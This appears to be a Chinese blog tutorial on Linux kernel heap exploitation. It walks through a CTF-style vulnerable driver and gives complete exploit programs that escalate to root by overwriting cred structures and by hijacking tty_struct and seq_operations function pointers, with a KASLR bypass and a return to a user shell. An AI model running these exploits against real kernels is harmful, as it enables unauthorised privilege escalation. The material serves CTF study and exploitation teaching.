Linux kernel 堆溢出利用方法

前言

本文还是用一道例题来讲解几种内核堆利用方法,内核堆利用手段比较多,可能会分三期左右写。进行内核堆利用前,可以先了解一下内核堆的基本概念,当然更好去找一些详细的内核堆的基础知识。

概述

Linux kernel 将内存分为 页(page)→区(zone)→节点(node) 三级结构,主要有两个内存管理器—— buddy systemslub allocator,前者负责以内存页为粒度管理所有可用的物理内存,后者则以slab分配器为基础向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。

page-zone-node

budy system

buddy systempage 为粒度管理着所有的物理内存,在每个 zone 结构体中都有一个 free_area 结构体数组,用以存储 buddy system 按照 order 管理的页面:

  • 分配:
    • 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。
    • 若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
  • 释放:
    • 将对应的连续内存页释放到对应的链表上。
    • 检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。

zone_struct

slub allocator

slub_allocator 是基于 slab_alloctor 的分配器。slab allocatorbuddy system 请求单张或多张连续内存页后再分割成同等大小的 object 返还给上层调用者来实现更为细粒度的内存管理。

  • 分配:
    • 首先从 kmem_cache_cpu 上取对象,若有则直接返回。
    • kmem_cache_cpu 上的 slub 已经无空闲对象了,对应 slub 会被从 kmem_cache_cpu 上取下,并尝试从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu 上,然后再取出空闲对象返回。
    • kmem_cache_nodepartial 链表也空了,那就向 buddy system 请求分配新的内存页,划分为多个 object 之后再给到 kmem_cache_cpu,取空闲对象返回上层调用。
  • 释放:
    • 若被释放 object 属于 kmem_cache_cpuslub,直接使用头插法插入当前 CPU slubfreelist
    • 若被释放 object 属于 kmem_cache_nodepartial 链表上的 slub,直接使用头插法插入对应 slubfreelist
    • 若被释放 objectfull slub,则其会成为对应 slubfreelist 头节点,且该 slub 会被放置到 partial 链表。

slub_allocator
帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

heap_bof

题目分析

题目给了源码,存在UAFheap overflow两种漏洞。内核版本为4.4.27

#include <asm/uaccess.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/types.h>

struct class *bof_class;
struct cdev cdev;

int bof_major = 256;
char *ptr[40];// 指针数组,用于存放分配的指针
struct param {
    size_t len;       // 内容长度
    char *buf;        // 用户态缓冲区地址
    unsigned long idx;// 表示 ptr 数组的 索引
};

long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
    struct param p_arg;
    copy_from_user(&p_arg, (void *) arg, sizeof(struct param));
    long retval = 0;
    switch (cmd) {
        case 9:
            copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
            printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);
            break;
        case 8:
            copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
            break;
        case 7:
            kfree(ptr[p_arg.idx]);
            printk("free: 0x%p\n", ptr[p_arg.idx]);
            break;
        case 5:
            ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);
            printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);
            break;
        default:
            retval = -1;
            break;
    }
    return retval;
}

static const struct file_operations bof_fops = {
        .owner = THIS_MODULE,
        .unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
};

static int bof_init(void) {
    //设备号
    dev_t devno = MKDEV(bof_major, 0);
    int result;
    if (bof_major)//静态分配设备号
        result = register_chrdev_region(devno, 1, "bof");
    else {//动态分配设备号
        result = alloc_chrdev_region(&devno, 0, 1, "bof");
        bof_major = MAJOR(devno);
    }
    printk("bof_major /dev/bof: %d\n", bof_major);
    if (result < 0) return result;
    bof_class = class_create(THIS_MODULE, "bof");
    device_create(bof_class, NULL, devno, NULL, "bof");
    cdev_init(&cdev, &bof_fops);
    cdev.owner = THIS_MODULE;
    cdev_add(&cdev, devno, 1);
    return 0;
}

static void bof_exit(void) {
    cdev_del(&cdev);
    device_destroy(bof_class, MKDEV(bof_major, 0));
    class_destroy(bof_class);
    unregister_chrdev_region(MKDEV(bof_major, 0), 1);
    printk("bof exit success\n");
}

MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");
module_init(bof_init);
module_exit(bof_exit);

boot.sh

这道题是多核多线程。并且开启了smepsmap

#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.cpio \
  -kernel bzImage \
  -m 512M \
  -nographic \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
  -monitor /dev/null \
  -smp cores=2,threads=2 \
  -cpu kvm64,+smep,+smap \

kernel Use After Free

利用思路

cred 结构体大小为 0xa8 ,根据 slub 分配机制,如果申请和释放大小为 0xa8(实际为 0xc0 )的内存块,此时再开一个线程,则该线程的 cred 结构题正是刚才释放掉的内存块。利用 UAF 漏洞修改 cred 就可以实现提权。

exp

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9

struct param {
    size_t len;       // 内容长度
    char *buf;        // 用户态缓冲区地址
    unsigned long idx;// 表示 ptr 数组的 索引
};

int main() {
    int fd = open("dev/bof", O_RDWR);
    struct param p = {0xa8, malloc(0xa8), 1};
    ioctl(fd, BOF_MALLOC, &p);
    ioctl(fd, BOF_FREE, &p);
    int pid = fork(); // 这个线程申请的cred结构体obj即为刚才释放的obj。
    if (pid < 0) {
        puts("[-]fork error");
        return -1;
    }
    if (pid == 0) {
        p.buf = malloc(p.len = 0x30);
        memset(p.buf, 0, p.len);
        ioctl(fd, BOF_EDIT, &p); // 修改用户ID
        if (getuid() == 0) {
            puts("[+]root success");
            system("/bin/sh");
        } else {
            puts("[-]root failed");
        }
    } else {
        wait(NULL);
    }
    close(fd);
    return 0;
}

但是此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred_jar 中的 object,这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记,在 CONFIG_MEMCG_KMEM=y 时(默认开启)cred_jar 不会再与相同大小的 kmalloc-192 进行合并。

// kernel version == 4.4.72
void __init cred_init(void)
{
	/* allocate a slab in which we can store credentials */
	cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
				     0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}
// kernel version == 4.5
void __init cred_init(void)
{
	/* allocate a slab in which we can store credentials */
	cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
			SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

heap overflow

溢出修改 cred ,和前面 UAF 修改 cred 一样,在新版本失效。多核堆块难免会乱序,溢出之前记得多申请一些0xc0大小的obj,因为我们 freelist 中存在很多之前使用又被释放的obj导致的obj乱序。我们需要一个排列整齐的内存块用于修改。

利用思路

  1. 多申请几个0xa8大小的内存块,将原有混乱的freelist 变为地址连续的 freelist
  2. 利用堆溢出,修改被重新申请作为credptr[5]凭证区为0

exp

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/wait.h>

struct param {
    size_t len;    // 内容长度
    char *buf;     // 用户态缓冲区地址
    long long idx; // 表示 ptr 数组的 索引
};

const int BOF_NUM = 10;

int main(void) {
    int bof_fd = open("/dev/bof", O_RDWR);
    if (bof_fd == -1) {
        puts("[-] Failed to open bof device.");
        exit(-1);
    }

    struct param p = {0xa8, malloc(0xa8), 0};

    // 让驱动分配 0x40 个 0xa8  的内存块
    for (int i = 0; i < 0x40; i++) {
        ioctl(bof_fd, 5, &p);  // malloc
    }
    puts("[*] clear heap done");

    // 让驱动分配 10 个 0xa8  的内存块
    for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
        ioctl(bof_fd, 5, &p);  // malloc
    }
    p.idx = 5;
    ioctl(bof_fd, 7, &p); // free

    // 调用 fork 分配一个 cred结构体
    int pid = fork();
    if (pid < 0) {
        puts("[-] fork error");
        exit(-1);
    }

    // 此时 ptr[4] 和 cred相邻
    // 溢出 修改 cred 实现提权
    p.idx = 4, p.len = 0xc0 + 0x30;
    memset(p.buf, 0, p.len);
    ioctl(bof_fd, 8, &p);
    if (!pid) {
        //一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
        size_t uid = getuid();
        printf("[*] uid: %zx\n", uid);
        if (!uid) {
            puts("[+] root success");
            // 权限修改完毕,启动一个shell,就是root的shell了
            system("/bin/sh");
        } else {
            puts("[-] root fail");
        }
    } else {
        wait(0);
    }
    return 0;
}

tty_struct 劫持

boot.sh

这道题gadget较少,我们就关了smep保护。

#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.img \
  -kernel bzImage \
  -m 512M \
  -nographic \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
  -monitor /dev/null \
  -s \
  -cpu kvm64 \
  -smp cores=1,threads=1 \
  --nographic

利用思路

/dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,

ptmx_open (drivers/tty/pty.c)
-> tty_init_dev (drivers/tty/tty_io.c)
  -> alloc_tty_struct (drivers/tty/tty_io.c)

tty 的结构体 tty_srtuct 定义在 linux/tty.h 中。其中 ops 项(64bit 下位于 结构体偏移 0x18 处)指向一个存放 tty 相关操作函数的函数指针的结构体 tty_operations 。其魔数为0x5401

// sizeof(struct tty_struct) == 0x2e0
/* tty magic number */
#define TTY_MAGIC        0x5401
struct tty_struct {
    ...
	const struct tty_operations *ops;
	...
}
struct tty_operations {
    ...
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
    ...
};

使用 tty 设备的前提是挂载了 ptmx 设备。

mkdir /dev/pts
mount -t devpts none /dev/pts
chmod 777 /dev/ptmx

所以我们只需要劫持 tty_ops 的某个可触发的操作即可,将其劫持到 get_root 函数处。

exp

#include <sys/wait.h>
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9

void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340;
size_t init_cred = 0xFFFFFFFF81E496C0;

void get_shell()
{
    system("/bin/sh");
}

unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell;

void save_status() {
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[*]status has been saved.");
}

size_t kernel_offset;

void get_root() {
    // 通过栈上残留地址来绕过 KASLR
    __asm__(
        "mov rbx, [rsp + 8];"
        "mov kernel_offset, rbx;"
    );
    kernel_offset -= 0xffffffff814f604f;
    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
    init_cred = (void *) ((size_t) init_cred + kernel_offset);
    commit_creds(init_cred);
    __asm__(
        "swapgs;"
        "push user_ss;"
        "push user_rsp;"
        "push user_rflags;"
        "push user_cs;"
        "push user_rip;"
        "iretq;"
    );
}

struct param {
    size_t len;    // 内容长度
    char *buf;     // 用户态缓冲区地址
    long long idx; // 表示 ptr 数组的 索引
};

int main(int argc, char const *argv[])
{
    save_status();

    size_t fake_tty_ops[] = {
        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
        get_root
    };

    // len buf idx
    struct param p = {0x2e0, malloc(0x2e0), 0};
    printf("[*]p_addr==>%p\n", &p);

    int bof_fd = open("/dev/bof", O_RDWR);

    p.len = 0x2e0;
    ioctl(bof_fd, BOF_MALLOC, &p);
    memset(p.buf, '\xff', 0x2e0);
    ioctl(bof_fd, BOF_EDIT, &p);
    ioctl(bof_fd, BOF_FREE, &p);

    int ptmx_fd = open("/dev/ptmx", O_RDWR);

    p.len = 0x20;
    ioctl(bof_fd, BOF_READ, &p);
    printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]);
    printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]);

    *(size_t *)&p.buf[0x18] = &fake_tty_ops;
    ioctl(bof_fd, BOF_EDIT, &p);

    ioctl(ptmx_fd, 0, 0);
    

	return 0;
}

seq_operations 劫持

boot.sh

#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.img \
  -kernel bzImage \
  -m 512M \
  -nographic \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
  -monitor /dev/null \
  -s \
  -cpu kvm64 \
  -smp cores=1,threads=1 \
  --nographic

利用思路

seq_operations 结构如下,该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。

struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

调用读取 stat 文件时会调用 seq_operationsstart 函数指针。

ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
	struct seq_file *m = file->private_data;
	...
	p = m->op->start(m, &pos);
	...

当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。由于这道题关闭了 SMEPSMAPKPTI 保护,因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。至于 KASLR 可以通过泄露栈上的数据绕过。

image-20240922171025707

exp

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>

struct param {
    size_t len;       // 内容长度
    char *buf;        // 用户态缓冲区地址
    long long idx;// 表示 ptr 数组的 索引
};

const int SEQ_NUM = 0x200;
const int DATA_SIZE = 0x20 * 8;
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9


void get_shell() { 
    system("/bin/sh"); 
}

size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;

void *init_cred = (void *) 0xFFFFFFFF81E496C0;

size_t kernel_offset;

void get_root() {
    // 通过栈上的残留值绕过KASLR。
    __asm__(
        "mov rax, [rsp + 8];"
        "mov kernel_offset, rax;"
    );
    kernel_offset -= 0xffffffff81229378;
    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
    init_cred = (void *) ((size_t) init_cred + kernel_offset);
    commit_creds(init_cred);
    __asm__(
        "swapgs;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push user_rip;"
        "iretq;"
    );
}

int main() {
    save_status();

    int bof_fd = open("dev/bof", O_RDWR);
    if (bof_fd < 0) {
        puts("[-] Failed to open bof.");
        exit(-1);
    }

    struct param p = {0x20, malloc(0x20), 0};
    for (int i = 0; i < 0x40; i++) {
        ioctl(bof_fd, BOF_MALLOC, &p);
    }
    memset(p.buf, '\xff', p.len);
    ioctl(bof_fd, BOF_EDIT, &p);
    // 大量喷洒 seq_ops 结构体。
    int seq_fd[SEQ_NUM];
    for (int i = 0; i < SEQ_NUM; i++) {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
        if (seq_fd[i] < 0) {
            puts("[-] Failed to open stat.");
        }
    }
    puts("[*] seq_operations spray finished.");
	
    // 通过溢出,将附近 seq_ops 的指针修改为 get_root地址。
    p.len = DATA_SIZE;
    p.buf = malloc(DATA_SIZE);
    p.idx = 0;
    for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {
        *(size_t *) &p.buf[i] = (size_t) get_root;
    }
    ioctl(bof_fd, BOF_EDIT, &p);
    puts("[*] Heap overflow finished.");

    for (int i = 0; i < SEQ_NUM; i++) {
        read(seq_fd[i], p.buf, 1);
    }

    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/896935.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

数据结构_day3

目录 4.栈 stack 4.2.1 特性 练习&#xff1a; 4.3 链式栈 4.3.1 特性 总结&#xff1a; 4.栈 stack 4.2.1 特性 逻辑结构&#xff1a;线性结构 存储结构&#xff1a;顺序结构 操作&#xff1a;创建、入栈、出栈、判空和判满 创空&#xff1a; 入栈&#xff1a; 出栈&#xff1…

【自然语言处理】多头注意力机制 Multi-Head Attention

多头注意力&#xff08;Multi-Head Attention&#xff09;机制是Transformer模型中的一个关键组件&#xff0c;广泛用于自然语言处理任务&#xff08;如机器翻译、文本生成等&#xff09;以及图像处理任务。它的核心思想是通过多个不同的注意力头来捕获输入的不同特征&#xff…

虚拟现实与Facebook的结合:未来社交的全新体验

随着科技的不断发展&#xff0c;虚拟现实&#xff08;VR&#xff09;技术正在逐步改变人们的社交方式。Facebook&#xff0c;作为全球最大的社交媒体平台之一&#xff0c;积极探索如何将虚拟现实融入其社交生态系统&#xff0c;创造全新的用户体验。这一结合不仅影响了用户之间…

深度解析机器学习的四大核心功能:分类、回归、聚类与降维

深度解析机器学习的四大核心功能&#xff1a;分类、回归、聚类与降维 前言分类&#xff08;Classification&#xff09;&#xff1a;预测离散标签的艺术关键算法与代码示例逻辑回归支持向量机&#xff08;SVM&#xff09; 回归&#xff08;Regression&#xff09;&#xff1a;预…

探索秘境:如何使用智能体插件打造专属的小众旅游助手『小众旅游探险家』

文章目录 摘要引言智能体介绍和亮点展示介绍亮点展示 已发布智能体运行效果智能体创意想法创意想法创意实现路径拆解 如何制作智能体可能会遇到的几个问题快速调优指南总结未来展望 摘要 本文将详细介绍如何使用智能体平台开发一款名为“小众旅游探险家”的旅游智能体。通过这…

获取非加密邮件协议中的用户名和密码——安全风险演示

引言 在当今的数字时代,网络安全变得越来越重要。本文将演示如何通过抓包工具获取非加密邮件协议中的用户名和密码,以此说明使用非加密协议的潜在安全风险。通过这个演示,我们希望能提高读者的安全意识,促使大家采取更安全的通信方式。 注意: 本文仅用于教育目的,旨在提高安全…

【MyBatis】初识MyBatis 构建简单框架

目录 MyBatis前言搭建一个简单的MyBatis创建Maven项目引入必要依赖创建数据表结构创建User实体类创建Mapper接口Mapper层Dao层 创建MyBatis的Mapper映射文件编写测试类传统测试类JUnit测试 MyBatis 介绍&#xff1a;MyBatis是一款半自动的ORM持久层框架&#xff0c;具有较高的…

Linux下ClamAV源代码安装与使用说明

Linux下ClamAV源代码安装与使用说明 ClamAV(Clam AntiVirus)是一款开源的防病毒工具,广泛应用于Linux平台上的网络安全领域。它以其高效的性能和灵活的配置选项,成为网络安全从业人员的重要工具。ClamAV支持多线程扫描,可以自动升级病毒库,并且支持多个操作系统,包括Li…

NGINX 保护 Web 应用安全之基于 IP 地址的访问

根据客户端的 IP 地址控制访问 使用 HTTP 或 stream 访问模块控制对受保护资源的访问&#xff1a; location /admin/ { deny 10.0.0.1; allow 10.0.0.0/20; allow 2001:0db8::/32; deny all; } } 给定的 location 代码块允许来自 10.0.0.0/20 中的任何 IPv4 地址访问&#xf…

可视化大屏中运用3D模型,能够带来什么好处。

现在你看到的可视化大屏&#xff0c;大都会在中间放置一些3D模型&#xff0c;比如厂房、园区、设备等等&#xff0c;那么这些3D模型的放置的确给可视化大屏带来了不一样的视觉冲击&#xff0c;本文将从以下四个方面来分析这个现象。 一、可视化大屏中越来越多使用3D模型说明了…

Linux工具的使用-【git的理解和使用】【调试器gdb的使用】

目录 Linux工具的使用-031.git1.1git是什么1.2git在linux下的操作1.2.1创建git仓库1.2.2 .gitignore1.2.3 .git&#xff08;本地仓库&#xff09;1.2.4 add (添加)1.2.5 commit(提交)1.2.6push(推送)对两个特殊情况的处理配置免密码push 1.2.7 log(获取提交记录)1.2.8 status(获…

Java项目-基于springboot框架的逍遥大药房管理系统项目实战(附源码+文档)

作者&#xff1a;计算机学长阿伟 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、ElementUI等&#xff0c;“文末源码”。 开发运行环境 开发语言&#xff1a;Java数据库&#xff1a;MySQL技术&#xff1a;SpringBoot、Vue、Mybaits Plus、ELementUI工具&#xff1a;IDEA/…

Linux运维篇-误操作已经做了pv的磁盘导致pv异常

目录 故障场景排错过程小结 故障场景 在对/dev/vdb1创建了pv并扩容至vg(klas)之后&#xff0c;不小心对/dev/vdb进行了parted操作&#xff0c;删除了/dev/vdb1导致pvs查看显示异常。具体过程如下所示&#xff1a; 正常创建pv 将创建好的pv添加到系统现有的卷组中 不小心又对…

Golang | Leetcode Golang题解之第491题非递减子序列

题目&#xff1a; 题解&#xff1a; var (temp []intans [][]int )func findSubsequences(nums []int) [][]int {ans [][]int{}dfs(0, math.MinInt32, nums)return ans }func dfs(cur, last int, nums []int) {if cur len(nums) {if len(temp) > 2 {t : make([]int, len(…

【计网】理解TCP全连接队列与tcpdump抓包

希望是火&#xff0c;失望是烟&#xff0c; 生活就是一边点火&#xff0c;一边冒烟。 理解TCP全连接队列与tcpdump抓包 1 TCP 全连接队列1.1 重谈listen函数1.2 初步理解全连接队列1.3 深入理解全连接队列 2 tcpdump抓包 1 TCP 全连接队列 1.1 重谈listen函数 这里我们使用…

颜色交替的最短路径

题目链接 颜色交替的最短路径 题目描述 注意 返回长度为n的数组answer&#xff0c;其中answer[x]是从节点0到节点x的红色边和蓝色边交替出现的最短路径的长度图中每条边为红色或者蓝色&#xff0c;且可能存在自环或平行边 解答思路 可以使用广度优先遍历从0开始找到其相邻…

Java.6--多态-设计模式-抽象父类-抽象方法

一、多态 1.定义--什么是多态&#xff1f; a.同一个父类的不同子类对象&#xff0c;在做同一行为的时候&#xff0c;有不同的表现形式&#xff0c;这就是多态。&#xff08;总结为&#xff1a;一个父类下的不同子类&#xff0c;同一行为&#xff0c;不同表现形式。&#xff0…

leetcode day1 910+16

910 最小差值 给你一个整数数组 nums&#xff0c;和一个整数 k 。 在一个操作中&#xff0c;您可以选择 0 < i < nums.length 的任何索引 i 。将 nums[i] 改为 nums[i] x &#xff0c;其中 x 是一个范围为 [-k, k] 的任意整数。对于每个索引 i &#xff0c;最多 只能 …

Excel中如何进行傅里叶变换(FT),几步完成

在 Excel 中&#xff0c;虽然没有像 MATLAB 那样专门的函数库来直接进行傅里叶变换&#xff0c;但可以使用 Excel 内置的分析工具库提供的傅里叶变换&#xff08;FT &#xff0c;Fourier Transform&#xff09;功能。这个工具可以对数据进行频域分析。以下是如何在 Excel 中进行…